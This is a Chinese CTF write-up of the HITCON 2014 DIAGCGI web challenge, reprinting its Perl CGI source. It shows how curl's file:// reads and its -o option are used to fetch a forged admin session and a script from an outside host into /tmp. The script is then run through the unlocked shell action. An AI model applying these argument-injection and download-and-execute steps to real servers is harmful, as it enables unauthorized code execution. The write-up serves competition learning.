HITCON CTF 2014 DIAGCGI Writeup

2014-08-18 22:01:08 16 8702
星期6到星期一,为时三天的CTF
我们共得到了206分,获得了第207名的佳绩 (误####
这是题目DIAGCGI 的Writeup~ (WEB)
先来张截图

可以看到有ping, traceroute, 和 curl的选项
大家应该看得出这是命令执行吧
但是,这并行不通
当你输入 127.0.0.1 || dir 或 127.0.0.1 && dir 试图注入命令时,|| 和 &&会被过滤掉。
当时没想到curl可以使用file:/// 来读取文件
知道有个小伙伴想到了,并告诉我,才开始有进展....
一般上,默认的cgi-bin位置都在 /usr/lib/cgi-bin/
所以输入 file:///usr/lib/cgi-bin/dana-na.cgi 然后按curl (忘了说, dana-na.cgi 是路径(在网址中有的))
即可看到源码

在这里我把源码贴出来
#!/usr/bin/perl -w

use CGI;
use Digest::MD5 qw(md5_hex);

$cgi = new CGI;
$SESSDIR = "/tmp/";
$sessfile = $cgi->cookie("diagsess");
$arg0 = $cgi->param("arg");
$action = $cgi->param("action");
$arg = &safestr($arg0);

if (! defined($sessfile) )
{
        if ( md5_hex($cgi->param("sechash")) =~ /^000000000000.*$/)
        {
                $sesshash{'user'} = 'admin';
        }
        else
        {
                $sesshash{'user'}  = 'guest';
        }
        $sesshash{'ip'} = &get_ip;

        $diagsess = md5_hex( $sesshash{'user'} . '|||' . $sesshash{'ip'} );
        $cookie = "diagsess=$diagsess;";
        &write_session;
        print $cgi->header(-cookie => $cookie,
                        -expires => 'Mon, 01 Jan 1999 00:00:00 GMT',
                        -'cache-control' => 'no-cache',
                        -pragma => 'no-cache',-'location'=> 'dana-na.cgi?sechash=' );

        exit 0;
}
else
{
        print $cgi->header();
        &read_session;
        &print_menu;
}
if (defined ($action) && length($action)>0)
{
        if ($action =~ /^print_session$/)
        {
                &print_session;
                exit 0;
        }
        if ($action =~ /^curl$/)
        {
                &curl($arg);
                exit 0;
        }
        if ($action =~ /^ping$/ )
        {
                &ping($arg);
                exit 0;
        }
        if ($action =~ /^traceroute$/)
        {
                &traceroute ($arg);
                exit 0;
        }
        if ($action =~ /^shell$/)
        {
                &shell($arg);
                exit 0;
        }

}

sub curl
{
        $host = shift;
        print "<pre><textarea rows=24 cols=80>";
        if (defined($host) && length($host)>1)
        {
                open(GG,"/usr/bin/curl -s $host |") and do
                {
                        while(<GG>)
                        {
                                print;
                        }
                }
        }
}

sub ping
{
        my $host = shift;
        print "<pre>";
        if(defined($host) && length($host)>1)
        {
                open(GG,"/bin/ping -c3 $host |") and do
                {
                        while(<GG>)
                        {

                                print;
                        }

                };
                close GG;

        }
}

sub traceroute
{
        my $host = shift;
        print "<pre>";
        if(defined($host) && length($host)>1)
        {
                open(GG,"/usr/sbin/traceroute -d -n -w 5 $host |") and do
                {
                        while(<GG>)
                        {
                                print;
                        }

                };
                close GG;
        }
}

sub read_session
{
        undef %sesshash;
        if(! -f "$SESSDIR/$sessfile")
        {
                print "session error!";
                return;
        }
        open(GG, "$SESSDIR/$sessfile") and do {
                while (<GG>) {
                        eval($_);
                }
                close GG;
        };
}

sub write_session
{
        open(GG, ">$SESSDIR/$diagsess") and do
        {
                foreach (sort keys %sesshash)
                {
                        print GG "\$sesshash{'$_'} = '$sesshash{$_}';\n";
                }
        };
        close GG;
}

sub print_session
{
        foreach (sort keys %sesshash) {
                print "$_=$sesshash{$_}\n";
        }
}

sub shell
{
        $cmd = shift;
        print "<pre>";
        if (  $sesshash{'user'} eq 'admin' )
        {
                open(GG, "$cmd |") and do
                {
                        print;
                };
        }
        else
        {
                print "sorry $sesshash{'user'}! you're not admin!\n";

        }
}

sub print_menu
{
        $arg0 =~ s/\</\<\;/g;
        open(GG,"cat menu.html |") and do
        {
                while(<GG>)
                {
                        $_ =~ s/\%\%arg\%\%/$arg0/g;       
                        print $_;
                }
                close GG;
        };
}

sub get_ip
{
        $h1 = $ENV{'REMOTE_ADDR'};
        $h2 = $ENV{'HTTP_CLIENT_IP'};
        $h3 = $ENV{'HTTP_X_FORWARDED_FOR'};

        if (length($h3)>0)
        {
                return $h3;
        }
        elsif (length($h2)>0)
        {
                return $h2;
        }
        else
        {
                return $h1;
        }
        return "UNKNOWN";
}

sub safestr
{
        my $str = shift;

        $str =~  s/([;<>\*\|`&\$!#\(\)\[\]\{\}:'"])/\\$1/g;;
        return $str;

}
是perl的源码,过后看到,html中有个被注释了的输入按钮,名为shell,我想那应该是执行命令吧
但是会显示这个.

问题出现在这段代码
if (! defined($sessfile) )
{
        if ( md5_hex($cgi->param("sechash")) =~ /^000000000000.*$/)
        {
                $sesshash{'user'} = 'admin';
        }
        else
        {
                $sesshash{'user'}  = 'guest';
        }
        $sesshash{'ip'} = &get_ip;

        $diagsess = md5_hex( $sesshash{'user'} . '|||' . $sesshash{'ip'} );
        $cookie = "diagsess=$diagsess;";
        &write_session;
        print $cgi->header(-cookie => $cookie,
                        -expires => 'Mon, 01 Jan 1999 00:00:00 GMT',
                        -'cache-control' => 'no-cache',
                        -pragma => 'no-cache',-'location'=> 'dana-na.cgi?sechash=' );

        exit 0;
}
但是我笨笨地纠结在 sechash那边...
后来想到 因为过滤代码 (如下) 没有过滤 -o 之类的东西,而curl可以把下载的文件内容输出成档案,所以可以伪造个session。
sub safestr
{
        my $str = shift;

        $str =~  s/([;<>\*\|`&\$!#\(\)\[\]\{\}:'"])/\\$1/g;;
        return $str;

}
session的格式是这样的
$sesshash{'ip'} = '218.111.2.93';
$sesshash{'user'} = 'guest';
而session的文件名则存在cookie中的 diagsess
然后我在一些托管网站,输入以下代码
$sesshash{'ip'} = '218.111.2.93';
$sesshash{'user'} = 'admin';
把guest改成了admin
然后输入 http://xxx.xxx/xxxx.txt -o /tmp/aaa.sess (因为存session的路径在tmp所以输入在tmp,而且过后发现,只有tmp我才可以写入文件)
然后按curl
成功把档案输入到 /tmp/aaa.sess了

然后把cookie中的diagsess字段换成aaa.sess即可
然后就可以执行命令了,
但是执行命令不会有任何回显
所以想到 ls -l /tmp/ > /tmp/aaa.txt
但是 > 被过滤了,同样的方法,把脚本放在托管,然后输入文件
过后执行 sh /tmp/aaa.sh
然后用curl读取 /tmp/aaa.txt

过后发现大牛留下来的 读key脚本

执行这个后读取,拿到flag : HITCON{a755be06b165ed8fc4710d3544fce942}


我写得有点不好,大牛不要喷我... (这文章我可能写得很难看懂...

关于作者

hang33354篇文章1426篇回复

评论16次

要评论?请先  登录  或  注册